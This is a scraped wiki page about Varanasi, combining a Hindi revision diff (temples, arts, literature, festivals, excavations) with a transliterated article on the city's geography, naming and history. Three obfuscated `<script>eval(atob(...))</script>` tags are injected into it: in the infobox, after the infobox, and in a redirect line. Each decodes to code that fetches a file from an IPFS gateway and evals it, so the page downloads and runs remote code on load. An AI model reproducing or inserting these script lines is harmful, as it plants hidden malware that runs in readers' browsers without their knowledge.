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वाराणसी का यह एक मानित राजपत्रित विश्वविद्यालय है। इस विद्यापीठ का नाम [[भारत]] के राष्ट्रपिता [[महात्मा गाँधी]] के नाम पर है। इस विद्यापीठ में गाँधी जी के सिद्धांतों का पालन किया जाता है। | वाराणसी का यह एक मानित राजपत्रित विश्वविद्यालय है। इस विद्यापीठ का नाम [[भारत]] के राष्ट्रपिता [[महात्मा गाँधी]] के नाम पर है। इस विद्यापीठ में गाँधी जी के सिद्धांतों का पालन किया जाता है। | ||
====केन्द्रीय उच्च तिब्बती शिक्षा संस्थान==== | ====केन्द्रीय उच्च तिब्बती शिक्षा संस्थान==== | ||
| − | यह इंस्टीट्यूट सारनाथ में स्थित है। यहाँ पर परंपरागत तिब्बती पठन-पाठन को आधुनिक शिक्षा के साथ वरीयता दी जाती है। उदय प्रताप महाविद्यालय एक स्वायत्त महाविद्यालय है जहाँ आधुनिक बनारस के उपनगरीय छात्रों हेतु क्रीड़ा एवं विज्ञान का केन्द्र है। वाराणसी में बहुत से निजी एवं सार्वजनिक संस्थान है, जहाँ हिन्दू धार्मिक शिक्षा की व्यवस्था है। इन विश्वविद्यालयों के अलावा शहर में कई स्नातकोत्तर एवं स्नातक महाविद्यालय भी हैं, जैसे अग्रसेन डिग्री कॉलेज, हरिशचंद्र डिग्री कॉलेज, आर्य महिला डिग्री कॉलेज | + | यह इंस्टीट्यूट [[सारनाथ]] में स्थित है। यहाँ पर परंपरागत तिब्बती पठन-पाठन को आधुनिक शिक्षा के साथ वरीयता दी जाती है। 'उदय प्रताप महाविद्यालय' एक स्वायत्त महाविद्यालय है जहाँ आधुनिक बनारस के उपनगरीय छात्रों हेतु क्रीड़ा एवं विज्ञान का केन्द्र है। वाराणसी में बहुत से निजी एवं सार्वजनिक संस्थान है, जहाँ हिन्दू धार्मिक शिक्षा की व्यवस्था है। इन विश्वविद्यालयों के अलावा शहर में कई स्नातकोत्तर एवं स्नातक महाविद्यालय भी हैं, जैसे - अग्रसेन डिग्री कॉलेज, हरिशचंद्र डिग्री कॉलेज, आर्य महिला डिग्री कॉलेज एवं स्कूल ऑफ़ मैनेजमेंट। |
==कला== | ==कला== | ||
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वाराणसी गायन एवं वाद्य दोनों ही विद्याओं का केंद्र रहा है। सुमधुर ठुमरी भारतीय कंठ संगीत को वाराणसी की विशेष देन है । [[चित्र:Art-Varanasi.jpg|thumb|200px|वाद्य बजाते हुए कलाकार, वाराणसी]] इसमें धीरेंद्र बाबू, बड़ी मोती, छोती मोती, सिध्देश्वर देवी, रसूलन बाई, काशी बाई, अनवरी बेगम, शांता देवी तथा इस समय गिरिजा देवी आदि का नाम समस्त [[भारत]] में बड़े गौरव एवं सम्मान के साथ लिया जाता है। इनके अतिरिक्त बड़े रामदास तथा श्रीचंद्र मिश्र, गायन कला में अपनी सानी नहीं रखते । [[तबला]] वादकों में कंठे महाराज, अनोखे लाल, गुदई महाराज, कृष्णा महाराज देश- विदेश में अपना नाम कर चुके हैं। [[शहनाई]] वादन एवं नृत्य में भी काशी में नंद लाल, [[उस्ताद बिस्मिल्ला ख़ाँ]] तथा सितारा देवी जैसी प्रतिभाएँ पैदा हुई हैं। [[चित्र:Ustad-Bismillah-khan.jpg|thumb|left|[[उस्ताद बिस्मिल्ला ख़ां]]]] | वाराणसी गायन एवं वाद्य दोनों ही विद्याओं का केंद्र रहा है। सुमधुर ठुमरी भारतीय कंठ संगीत को वाराणसी की विशेष देन है । [[चित्र:Art-Varanasi.jpg|thumb|200px|वाद्य बजाते हुए कलाकार, वाराणसी]] इसमें धीरेंद्र बाबू, बड़ी मोती, छोती मोती, सिध्देश्वर देवी, रसूलन बाई, काशी बाई, अनवरी बेगम, शांता देवी तथा इस समय गिरिजा देवी आदि का नाम समस्त [[भारत]] में बड़े गौरव एवं सम्मान के साथ लिया जाता है। इनके अतिरिक्त बड़े रामदास तथा श्रीचंद्र मिश्र, गायन कला में अपनी सानी नहीं रखते । [[तबला]] वादकों में कंठे महाराज, अनोखे लाल, गुदई महाराज, कृष्णा महाराज देश- विदेश में अपना नाम कर चुके हैं। [[शहनाई]] वादन एवं नृत्य में भी काशी में नंद लाल, [[उस्ताद बिस्मिल्ला ख़ाँ]] तथा सितारा देवी जैसी प्रतिभाएँ पैदा हुई हैं। [[चित्र:Ustad-Bismillah-khan.jpg|thumb|left|[[उस्ताद बिस्मिल्ला ख़ां]]]] | ||
====साहित्य==== | ====साहित्य==== | ||
| − | वाराणसी संस्कृत साहित्य का केंद्र तो रही ही है, लेकिन इसके साथ ही इस नगर ने हिन्दी तथा [[उर्दू भाषा|उर्दू]] में अनेक साहित्यकारों को भी जन्म दिया है, जिन्होंने साहित्य सेवा की तथा देश में गौरव पूर्ण स्थान प्राप्त किया। इनमें [[भारतेंदु हरिश्चंद्र]], [[अयोध्यासिंह उपाध्याय | + | वाराणसी संस्कृत साहित्य का केंद्र तो रही ही है, लेकिन इसके साथ ही इस नगर ने हिन्दी तथा [[उर्दू भाषा|उर्दू]] में अनेक साहित्यकारों को भी जन्म दिया है, जिन्होंने साहित्य सेवा की तथा देश में गौरव पूर्ण स्थान प्राप्त किया। इनमें [[भारतेंदु हरिश्चंद्र]], [[अयोध्यासिंह उपाध्याय|अयोध्यासिंह उपाध्याय 'हरिऔध']], [[जयशंकर प्रसाद]], [[प्रेमचंद]], [[श्यामसुन्दर दास]], [[राय कृष्णदास]], [[आचार्य रामचन्द्र शुक्ल]], रामचंद्र वर्मा, बेचन शर्मा "उग्र", विनोदशंकर व्यास, कृष्णदेव प्रसाद गौड़ तथा डॉ. संपूर्णानंद उल्लेखनीय हैं। [[चित्र:Premchand.jpg|thumb|[[प्रेमचंद|मुंशी प्रेमचंद]]|160px]] इनके अतिरिक्त [[उर्दू]] साहित्य में भी यहाँ अनेक जाने- माने लेखक एवं शायर हुए हैं। जिनमें मुख्यतः श्री विश्वनाथ प्रसाद शाद, मौलवी महेश प्रसाद, महाराज [[चेतसिंह]], शेखअली हाजी, आगा हश्र कश्मीरी, हुकुम चंद्र नैयर, प्रो. हफीज बनारसी, श्री हक़ बनारसी तथा नज़ीर बनारसी का नाम आता है। |
====उत्सवप्रियता==== | ====उत्सवप्रियता==== | ||
| − | वाराणसी के निवासियों की उत्सवप्रियता का उल्लेख जातकों में सविस्तार मिलता है। महाजनपद युग में [[दीपावली]] का उल्लेख मुख्य त्योहारों में हुआ है। एक जातक में उल्लेखित है कि काशी की दीपमालिका कार्तिक मास में मनायी जाती थी। इस अवसर पर स्थियाँ केशरिया रंग के वस्त्र पहनकर निकलती थीं।<ref>जातक, भाग 2, पृष्ठ 145 (संख्या 147) मोतीचंद्र, काशी का इतिहास, पृष्ठ 45</ref> | + | वाराणसी के निवासियों की उत्सवप्रियता का उल्लेख जातकों में सविस्तार मिलता है। '''महाजनपद युग में [[दीपावली]] का उल्लेख मुख्य त्योहारों में हुआ है।''' एक जातक में उल्लेखित है कि काशी की दीपमालिका [[कार्तिक मास]] में मनायी जाती थी। इस अवसर पर स्थियाँ केशरिया रंग के वस्त्र पहनकर निकलती थीं।<ref>जातक, भाग 2, पृष्ठ 145 (संख्या 147) मोतीचंद्र, काशी का इतिहास, पृष्ठ 45</ref> |
====हस्तिमंगलोत्सव==== | ====हस्तिमंगलोत्सव==== | ||
| − | हस्तिमंगलोत्सव भी वाराणसी का एक प्रमुख उत्सव था,<ref>जातक, भाग 2, संख्या 163, पृष्ठ 215</ref> जिसका उल्लेख जातकों एवं बौद्ध साहित्य में मिलता है। इसके अतिरिक्त मंदिरोत्सव भी मनाया जाता था, जिसमें सुरापान किया जाता था।<ref>जातक, भाग 2, संख्या 163, पृष्ठ 132</ref> एक जातक में उल्लेख आया है कि काशीराज ने एक बार इस अवसर पर तपस्वियों को खूब सुरापान कराया था।<ref>139- जातक, भाग 1, पृष्ठ 208</ref> | + | '''हस्तिमंगलोत्सव भी वाराणसी का एक प्रमुख उत्सव था''',<ref>जातक, भाग 2, संख्या 163, पृष्ठ 215</ref> जिसका उल्लेख जातकों एवं बौद्ध साहित्य में मिलता है। इसके अतिरिक्त '''मंदिरोत्सव भी मनाया जाता था, जिसमें सुरापान किया जाता था।'''<ref>जातक, भाग 2, संख्या 163, पृष्ठ 132</ref> एक जातक में उल्लेख आया है कि '''काशीराज ने एक बार इस अवसर पर तपस्वियों को खूब सुरापान कराया था।'''<ref>139- जातक, भाग 1, पृष्ठ 208</ref> |
==वाराणसी के मन्दिर== | ==वाराणसी के मन्दिर== | ||
| Line 264: | Line 262: | ||
====काशी विश्वनाथ मंदिर==== | ====काशी विश्वनाथ मंदिर==== | ||
{{मुख्य|विश्वनाथ ज्योतिर्लिंग}} | {{मुख्य|विश्वनाथ ज्योतिर्लिंग}} | ||
| − | मूल काशी विश्वनाथ मंदिर बहुत छोटा था। 18वीं शताब्दी में | + | मूल काशी विश्वनाथ मंदिर बहुत छोटा था। 18वीं शताब्दी में इंदौर की [[अहिल्याबाई होल्कर|रानी अहिल्याबाई होल्कर]] ने इसे भव्य रूप प्रदान किया। [[पंजाब]] के शासक [[रणजीत सिंह|राजा रंजीत सिंह]] ने 1835 ई. में इस मंदिर के शिखर को सोने से मढ़वाया था। इस कारण इस मंदिर का एक अन्य नाम गोल्डेन टेम्पल भी पड़ा। |
| − | यह मंदिर कई बार ध्वस्त | + | '''यह मंदिर कई बार ध्वस्त किया गया।''' वर्तमान में जो मंदिर है उसका निर्माण चौथी बार में हुआ है। [[क़ुतुबुद्दीन ऐबक]] ने सर्वप्रथम इसे 1194 ई. में ध्वस्त किया था। [[रज़िया सुल्तान]] (1236-1240) ने इसके ध्वंसावशेष पर रज़िया मस्जिद का निर्माण करवाया था। इसके बाद इस मंदिर का निर्माण अभिमुक्तेश्वर मंदिर के नज़दीक बनवाया गया। बाद में इस मंदिर को जौनपुर के शर्की राजाओं ने तुड़वा दिया। 1490 ई. में इस मंदिर को [[सिकन्दर लोदी]] ने ध्वंस करवाया था। 1585 ई. में बनारस के एक प्रसिद्ध व्यापारी टोडरमल ने इस मंदिर का निर्माण करवाया। 1669 ई. में इस मंदिर को [[औरंगज़ेब]] ने पुन: तुड़वा दिया। औरंगज़ेब ने भी इस मंदिर के ध्वंसावशेष पर एक मस्जिद का निर्माण करवाया था। |
==वाराणसी के घाट== | ==वाराणसी के घाट== | ||
| Line 273: | Line 271: | ||
====राजघाट उत्खनन==== | ====राजघाट उत्खनन==== | ||
{{मुख्य|राजघाट उत्खनन वाराणसी}} | {{मुख्य|राजघाट उत्खनन वाराणसी}} | ||
| − | राजघाट की प्राचीनता और उसका सतत इतिहास किसी पुरातात्विक उत्खनन से 1940 ई. तक निश्चित नहीं था। इसकी प्राचीन स्थिति वर्तमान काशी स्टेशन के उत्तर-पूर्वी में गंगा और वरुणा के मध्य थी, जिसे राजघाट टीले के नाम से जाना जाता है। इसकी आकस्मिक खोज [[1939]] ई. में वर्तमान काशी स्टेशन के विस्तार के समय रेलवे ठेकेदारों द्वारा खुदाई कराते समय हुई।<ref>विद्या प्रकाश एवं टी.एन. राय, बुलेटिन ऑफ़ द यू.पी. हिस्टारिकल सोसाइटी, संख्या 4 (साइट्स एंड मानुमेंट्स ऑफ़ यू.पी.) लखनऊ, 1965 पृष्ठ 33</ref> खुदाई में इन ठेकेदारों को बहुत-सी प्राचीन वस्तुएँ मिलीं जिनमें मिट्टी की मुहरें एवं मुद्रायें भी थीं। इन वस्तुओं को अब भारत कला भवन और इलाहाबाद म्यूनिसिपल म्यूज़ियम में रखा गया है। इन मुद्राओं में मुख्यत: [[यूनानी]] देवी-देवताओं की आकृतियाँ तथा कुछ यूनानी राजाओं के सिर का अंकन है। यहाँ से मिली वस्तुओं से आकृष्ट होकर श्री कृष्णदेव के नेतृत्व में भारतीय पुरातत्त्व विभाग के एक दल ने यहाँ उत्खनन प्रारंभ किया। इस दल ने ऊपरी जमाव से 20 फुट नीचे तक खुदाई की। | + | राजघाट की प्राचीनता और उसका सतत इतिहास किसी पुरातात्विक उत्खनन से 1940 ई. तक निश्चित नहीं था। इसकी प्राचीन स्थिति वर्तमान काशी स्टेशन के उत्तर-पूर्वी में गंगा और वरुणा के मध्य थी, जिसे 'राजघाट टीले' के नाम से जाना जाता है। इसकी आकस्मिक खोज [[1939]] ई. में वर्तमान काशी स्टेशन के विस्तार के समय रेलवे ठेकेदारों द्वारा खुदाई कराते समय हुई।<ref>विद्या प्रकाश एवं टी.एन. राय, बुलेटिन ऑफ़ द यू.पी. हिस्टारिकल सोसाइटी, संख्या 4 (साइट्स एंड मानुमेंट्स ऑफ़ यू.पी.) लखनऊ, 1965 पृष्ठ 33</ref> खुदाई में इन ठेकेदारों को बहुत-सी प्राचीन वस्तुएँ मिलीं जिनमें मिट्टी की मुहरें एवं मुद्रायें भी थीं। इन वस्तुओं को अब 'भारत कला भवन' और 'इलाहाबाद म्यूनिसिपल म्यूज़ियम' में रखा गया है। इन मुद्राओं में मुख्यत: [[यूनानी]] देवी-देवताओं की आकृतियाँ तथा कुछ यूनानी राजाओं के सिर का अंकन है। यहाँ से मिली वस्तुओं से आकृष्ट होकर श्री कृष्णदेव के नेतृत्व में भारतीय पुरातत्त्व विभाग के एक दल ने यहाँ उत्खनन प्रारंभ किया। इस दल ने ऊपरी जमाव से 20 फुट नीचे तक खुदाई की। |
{{वाराणसी चित्र सूची3}} | {{वाराणसी चित्र सूची3}} | ||
| Line 287: | Line 285: | ||
==वाराणसी पर कविता== | ==वाराणसी पर कविता== | ||
| − | हिन्दी के प्रसिद्ध | + | हिन्दी के प्रसिद्ध कवि श्रीकृष्ण सरल की [[चन्द्रशेखर आज़ाद]] पर लिखी गई अनुपम कविता हैं - |
{| class="bharattable-pink" | {| class="bharattable-pink" | ||
|+ '''वाराणसी लहरें''' | |+ '''वाराणसी लहरें''' | ||
| Line 400: | Line 398: | ||
मन्दिर में बाबा के दर्शन कर आओ। | मन्दिर में बाबा के दर्शन कर आओ। | ||
तुमको रहस्य कुछ और बताऊँगी मैं, | तुमको रहस्य कुछ और बताऊँगी मैं, | ||
| − | अपने बेटे का गौरव गाऊँगी मैं। | + | अपने बेटे का गौरव गाऊँगी मैं।{{cite web |url=http://www.kavitakosh.org/kk/index.php?title=%E0%A4%9A%E0%A4%A8%E0%A5%8D%E0%A4%A6%E0%A5%8D%E0%A4%B0_%E0%A4%B6%E0%A5%87%E0%A4%96%E0%A4%B0_%E0%A4%86%E0%A4%9C%E0%A4%BE%E0%A4%A6_/_%E0%A4%B6%E0%A5%8D%E0%A4%B0%E0%A5%80%E0%A4%95%E0%A5%83%E0%A4%B7%E0%A5%8D%E0%A4%A3_%E0%A4%B8%E0%A4%B0%E0%A4%B2_/_%E0%A4%B5%E0%A4%BE%E0%A4%B0%E0%A4%BE%E0%A4%A3%E0%A4%B8%E0%A5%80_%E0%A4%B2%E0%A4%B9%E0%A4%B0%E0%A5%87%E0%A4%82_/_%E0%A4%AA%E0%A5%83%E0%A4%B7%E0%A5%8D%E0%A4%A0_%E0%A5%A7 |title=चन्द्रशेखर आज़ाद|accessmonthday=30 मार्च|accessyear=2011|last= |first= |authorlink= |format= |publisher=कविता कोश|language=हिन्दी}} |
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Revision as of 14:00, 1 May 2011
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varanasi
| |
| vivaran | varanasi, banaras ya kashi bhi kahalata hai. varanasi dakshin-poorvi uttar pradesh rajy, uttari-madhy bharat mean ganga nadi ke baean tat par sthit hai aur hinduoan ke sat pavitr nagaroan mean se ek hai. |
| rajy | uttar pradesh |
| zila | varanasi zila |
| bhaugolik sthiti | uttar- 25.282°, poorv- 82.9563° |
| marg sthiti | varanasi, ilahabad se 125 kilomitar pashchim, lakhanoo se 281 kilomitar dakshin-poorv tatha dilli se lagabhag 780 kilomitar dakshin-poorv mean hai. |
| kab jaean | aktoobar se march |
| kaise pahuanchean | havaee jahaz, rel, bas, taiksi |
| havaee adda | lal bahadur shastri havaee adda |
| relave steshan | varanasi jankshan, mugalasaray jankshan |
| bas adda | aantarrajyiy bas adda ananhd vihar |
| yatayat | aauto riksha, riksha, bas, mini bas, nav, stimar |
| kya dekhean | vishvanath mandir, kashi hindoo vishvavidyalay, varanasi ki nadiyaan, varanasi ke ghat |
| kahaan thaharean | hotal, dharmashala, atithi-grah |
| kya khayean | pan, kachau di-sabzi, chat, thandaee |
| kya kharidean | banarasi sa di |
| es.ti.di. kod | 0542 |
| e.ti.em | lagabhag sabhi |
| chitr:Map-icon.gif | googal manachitr, varanasi havaee adda |
| sanbandhit lekh | ganga nadi, sampoornanand sanskrit vishvavidyalay, mahatma gaandhi kashi vidyapith
|
| bahari k diyaan | adhikarik vebasait |
| adyatan | 19:09, 15 march 2013 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- varanasi, banaras ya kashi bhi kahalata hai. varanasi dakshin-poorvi uttar pradesh rajy, uttari-madhy bharat mean ganga nadi ke baean tat par sthit hai aur hinduoan ke sat pavitr nagaroan mean se ek hai.
- varanasi ka purana nam kashi hai. varanasi vishv ka prachinatam basa hua shahar hai. yah ganga nadi ke kinare basa hai aur hazaroan sal se uttar bharat ka dharmik evan saanskritik kendr raha hai. do nadiyoan varuna aur asi ke madhy basa hone ke karan isaka nam varanasi p da.
- banaras ya varanasi ka nam puranoan, ramayan, mahabharat jaise anekanek granthoan mean milata hai. vedoan mean bhi kashi ka ullekh hai. sanskrit padhane prachin kal se hi log varanasi aya karate the. varanasi ke gharanoan ki hindustani sangit mean apani hi shaili hai.
sthiti
varanasi bharatavarsh ki saanskritik evan dharmik nagari ke roop mean vikhyat hai. isaki prachinata ki tulana vishv ke any prachinatam nagaroan jerusalem, etheans tatha peikiang (bijiang) se ki jati hai.[1] varanasi ganga ke baean tat par arddhachandrakar mean 250 18’ uttari akshaansh evan 830 1’ poorvi deshaantar par sthit hai. prachin varanasi ki mool sthiti vidvanoan ke madhy vivad ka vishay rahi hai.
vidvanoan ke matanusar
sheriang,[2] maradak,[3] gribj,[4] aur parakar[5] jaise vidvanoan ke matanusar prachin varanasi vartaman nagar ke uttar mean saranath ke samip sthit thi. kisi samay varanasi ki sthiti dakshin bhag mean bhi rahi hogi. lekin vartaman nagar ki sthiti varanasi se poornataya bhinn hai, jisase yah pray: nishchit hai ki varanasi nagar ki prakriti yathasamay ek sthan se doosare sthan par visthapit hone ki rahi hai. yah visthapan mukhyataya dakshin ki or hua hai. par kisi pusht praman ke abhav mean vidvanoan ka ukt mat samichin nahian pratit hota hai. [[chitr:Ganga-River-Varanasi.jpg|left|ganga nadi, varanasi|thumb|250px]] ganga nadi ke tat par base is shahar ko hi bhagavan shiv ne prithhvi par apana shthayi nivas banaya tha. yah bhi mana jata hai ki varanasi ka nirman srishti rachana ke prarambhik charan mean hi hua tha. yah shahar pratham jhyortiliang ka bhi shahar hai. puranoan mean varanasi ko brahmaand ka keandr bataya gaya hai tatha yah bhi kaha gaya hai yahaan ke kan-kan mean shiv nivas karate haian. varanasi ke logoan ke anusar, kashi ke kan-kan mean shivashankar haian. inake kahane ka arth yah hai ki yahaan ke prathyek paththar mean shiv ka nivas hai. kahate haian ki kashi shankar bhagavan ke trishool par tiki hai.
hevel ki drishti mean
hevel ki drishti mean varanasi nagar ki sthiti visthapan pradhan thi, apitu prachin kal mean bhi varanasi ka vartaman svaroop surakshit tha.[6] hevel ke matanusar buddh poorv yug mean adhunik saranath ek ghana jangal tha aur yah vibhinn dharmavalanbiyoan ka ashray sthal bhi tha. bhaugolik dashaoan ke pariprekshy mean hevel ka mat yuktisangat pratit hota hai. vastav mean varanasi nagar ka astitv buddh se bhi prachin hai tatha unake avirbhav ke sadiyoan poorv se hi yah ek dharmik nagari ke roop mean khyati prapt tha. saranath ka udbhav mahatma buddh ke pratham dharmachakr pravartan ke uparaant hua. ramalochan sianh ne bhi kuchh sanshodhanoan ke sath hevel ke mat ka samarthan kiya hai. unake anusar nagar ki mool sthiti pray: uttari bhag mean svikar karani chahie.[7] hal ke akatha utkhanan se is bat ki pushti hoti hai ki varanasi ki prachin sthiti uttar mean thi jahaan se 1300 eesa poorv ke avashesh prakash mean aye haian.
namakaran
‘varanasi’ shabd ‘varuna’ aur ‘asi’ do nadivachak shabdoan ke yog se bana hai. pauranik anushrutiyoan ke anusar varuna aur asi nam ki nadiyoan ke bich mean basane ke karan hi is nagar ka nam varanasi p da.
- 'padmapuran' ke ek ullekh ke anusar dakshinottar mean ‘varana’ aur poorv mean ‘asi’ ki sima se ghire hone ke karan is nagar ka nam varanasi p da.[8]
- 'atharvaved'[9] mean varanavati nadi ka ullekh hai. sanbhavat: yah adhunik varuna ka hi samanarthak hai.
- 'agnipuran' mean nasi nadi ka ullekh milata hai.
pauranik ullekh
varanasi ke sandarbh mean is tarah ke anek pauranik aur lokamithak prachalit haian. in mithakoan ki vyakhya ka prayas vidvanoan ne kiya hai. kaniangham[10] ne ‘barana’ aur ‘asi’ ke madhy varanasi ki sthiti svikar ki hai. em. jooliyan mahoday ne kaniangham ke mat par sandeh vyakt karate hue ‘barana’ nadi ka hi prachin nam ‘varanasi’ mana hai.[11] yadyapi ve apane mat ki pushti mean koee praman nahian dete, parantu itana to nishchit hai ki vaidik pauranik ullekhoan mean ‘asi’ ka nadi ke roop mean kahian bhi varnan nahian milata.
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varanasi vishv ka prachinatam basa hua shahar hai. do nadiyoan varuna aur asi ke madhy basa hone ke karan isaka nam 'varanasi' p da.
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mahabharat[12] mean ullekh aya hai ki varana ka prachin nam varanasi tha aur isamean do nadiyoan ke nam nikalane ki prakriya apekshakrit bad ki hai. padmapuran[13] mean ‘varanasi’ ka ek nadi ke roop mean ullekh hai. vibhinn puranoan ke in prasangoan se kisi nishchit nishkarsh par pahuanchane mean kathinaee hoti hai. motichandr ne varanasi mean ‘varuna’ aur ‘asi’ ki sangati ki avadharana ko kalpanik prakriya mana hai. sanbhav hai ki asi par basane ke karan is nagar ka nam varanasi p da ho. ‘varuna’ aur ‘asi’ ke madhy varanasi ke basane ki kalpana us samay huee jab nagar ki dharmik mahima badhi aur kalaantar mean yah kalpana sthir ho gee.[14] is tathy se pray: sabhi vidvan sahamat haian ki prachin varanasi adhunik rajaghat ke ooanche maidan par basa tha, aur isaka prachin vistar [15] varana (varuna) ke us par [16] bhi tha. varana se asi ki or ka vistar paravarti hai. ullekhaniy hai ki prachin varanasi sadaiv varana par hi sthit nahian thi, balki ganga tak usaka prasar tha. kam se kam patanjali ke kal mean (eesa poorv doosari shatabdi mean) usaka basav ganga ke kinare-kinare tha jaisa ki ashtadhyayi ke ek sootr[17] par patanjali ke bhashy[18] se spasht hai. [[chitr:Kashi-Map.jpg|thumb|300px|kashi mahajanapad]]
vriksh ke nam ke adhar par
varanasi ke namakaran ke sanbandh mean ek doosari sanbhavana bhi hai. varana shabd ek vriksh vishesh ka dyotak hai. prachin kal mean vrikshoan ke nam ke adhar par nagaroan ka namakaran kiya gaya tha. kosanb se koshaanbi, rohit se rohatak ityadi. at: bahut sanbhav hai ki usi parampara mean varanasi aur varanavati donoan ka nam yahaan par adhik utpann hone vale varana vriksh ke karan p da ho.
doosara nam ‘kashi’
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varanasi ka doosara nam ‘kashi’ prachin kal mean ek janapad ke roop mean prakhyat tha aur varanasi usaki rajadhani thi. isaki pushti paanchavian shatabdi mean bharat ane vale chini yatri fahyan ke yatra vivaran se bhi hoti hai.[19] harivanshapuran mean ullekh aya hai ki ‘kashi’ ko basane vale pururava ke vanshaj raja ‘kash’ the. at: unake vanshaj ‘kashi’ kahalae.[20] sanbhav hai isake adhar par hi is janapad ka nam ‘kashi’ p da ho. kashi namakaran se sanbaddh ek pauranik mithak bhi upalabdh hai. ullekh hai ki vishnu ne parvati ke muktamay kuandal gir jane se is kshetr ko mukt kshetr ki sanjna di aur isaki akathaniy param jyoti ke karan tirth ka namakaran kashi kiya.[21]
mahashhmashan
kashi ko 'mahashhmashan' ke nam se bhi jana jata hai. ise prithvi ki sabase b di shamashan bhoomi mana jata tha. yahaan ke manikarnika ghat tatha harishhchandr ghat ko sabase pavitr ghat mana jata hai. prachin kal mean vishhvas kiya jata tha ki yahaan jinaka kriya karm kiya jata hai unhhean moksh ki prapti hoti hai. varanasi ka ek anhy nam 'abhimukhta' tha. mana jata hai ki is nagari ko bhagavan shiv apane trishool par uthae hue haian.
| link=#top|center|oopar jayean |
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itihas
[[chitr:Pandit-Madan-Mohan-Malaviya.jpg|pandit madanamohan malaviy|thumb]] aitihasik alekhoan se pramanit hota hai ki eesa poorv ki chhathi shatabdi mean varanasi bharatavarsh ka b da hi samriddhashali aur mahattvapoorn rajy tha. madhy yug mean yah kannauj rajy ka aang tha aur bad mean bangal ke pal nareshoan ka is par adhikar ho gaya tha. san 1194 mean shahabuddin gori ne is nagar ko loota aur kshati pahuanchayi. mugal kal mean isaka nam badal kar muhammadabad rakha gaya. bad mean ise avadh darabar ke pratyaksh niyantran mean rakha gaya. balavant sianh ne baksar ki l daee mean aangrezoan ka sath diya aur isake upalakshy mean varanasi ko avadh darabar se svatantr karaya. san 1911 mean aangrezoan ne maharaj prabhunarayan sianh ko varanasi ka raja bana diya. san 1950 mean yah rajy svechchha se bharatiy ganarajy mean shamil ho gaya. varanasi vibhinn mat-matantaroan ki sangam sthali rahi hai. vidya ke is puratan aur shashvat nagar ne sadiyoan se dharmik guruoan, sudharakoan aur pracharakoan ko apani or akrisht kiya hai. bhagavan buddh aur shankarachary ke alava ramanuj, vallabhachary, sant kabir, guru nanak, tulasidas, chaitany mahaprabhu, raidas adi anek sant is nagari mean aye.
bharatiy svatantrata aandolan
bharatiy svatantrata aandolan mean bhi varanasi sadaiv agrani rahi hai. rashtriy aandolan mean kashi hindoo vishvavidyalay ke chhatroan ka yogadan smaraniy hai. is nagari ko kraantikari sushil kumar lahi di, amar shahid chandrashekhar azad tatha jitedranath sanyal sarikhe vir sapootoan ko janm dene ka gaurav prapt hai.
vaidik sahity mean varanasi
varanasi (kashi) ki prachinata ka itihas vaidik sahity mean bhi upalabdh hota hai. vaidik sahity ke tinoan staroan (sanhita, brahman evan upanishad) mean varanasi ka vivaran milata hai.
[[chitr:Pandit-Teaching-Vedas-Varanasi.jpg|thumb|250px|left|ved path karate brahman, varanasi
varsh- 1870 ]]
vaidik sahity[22] mean kaha hai ki aryoan ka ek qafila videdh mathav ke netritv mean adhunik uttar pradesh ke madhy se sadanira athava gandak ke kinare ja pahuancha aur vahaan koshal janapad ki nianv p di. jab aryoan ne uttar bharat par adhikar kar liya to aryoan ki ek jati kassi ne varanasi ke samip 1400 se 1000 ee. poo. ke madhy apane ko sthapit kiya.[23]
mahakavyoan mean varnit varanasi
mahakavyoan mean varanasi ke sandarbh mean kee ullekh milate haian.
- mahabharat
mahabharat mean varanasi ka ullekh anek sthaloan par hua hai. mahabharat se is tathy ki pushti hoti hai ki varana ka hi prachin nam varanasi tha.[24] adiparv mean kashiraj ki putri sarvaseni ka vivah dushyant ke putr bharat ke sath hone ka vivaran milata hai.[25] ek any sthal par bhishm dvara kashiraj ki tin putriyoan- aanba, aanbika aur ambalika ke svayanvar mean jite jane ka ullekh hai.[26] kashi ke shasak pratardan tatha mithila ke shasak janak ke madhy yuddh ki charcha bhi mahabharat mean milati hai.[27]
- valmiki ramayan
valmiki ramayan mean varanasi se sanbandhit prakaran apekshakrit kam milate haian. uttarakaand mean kashiraj pururava ka nam aya hai.[28] isi kaand mean yah bhi aya hai ki yayati ka putr puru pratishthan ke sath hi varanasi ka bhi shasak tha.[29] ramayan ke ek any sthal par kashi-koshal janapad ka ek sath ullekh milata hai.[30]
puranoan mean varanasi
[[chitr:Vishwanath-Temple-Varanasi.jpg|vishvanath mandir, varanasi|thumb|250px]] puranoan mean varanasi ki dharmik samriddhi ki charcha hai. is nagar ko shivapuri ke nam se sanbodhit kiya gaya hai[31] tatha isaki ganana bharat ki sat mokshadayini puriyoan mean ki gee hai[32]
- shivapuran
shivapuran mean varanasi ko bharatavarsh mean sthit pramukh barah sthanoan mean ek bataya gaya hai. manyata thi ki jo vyakti pratidin prat:kal uthakar in barah namoan ka path karata hai, vah sab papoan se mukt ho jata hai, aur sanpoorn siddhiyoan ko prapt kar leta hai.[33]
- brahmapuran
brahmapuran mean shiv parvati se kahate hai ‘he sukhavallabhe, varuna aur asi in donoan nadiyoan ke bich mean hi varanasi kshetr hai aur usase bahar kisi ko nahian basana chahie.’’[34] logoan ka aisa vishvas tha ki shiv ke bhaktoan ke varanasi mean rahane ke karan laukik evan paralaukik anand ki prapti hoti hai.[35] ullekhaniy hai ki hven tsaang ne bhi yahaan nivas karane vale shaiv samarthakoan ka ullekh kiya hai, jo lanbe keshoan ko dharan karate the tatha sharir par bhasm lagate the.[36]
- agnipuran
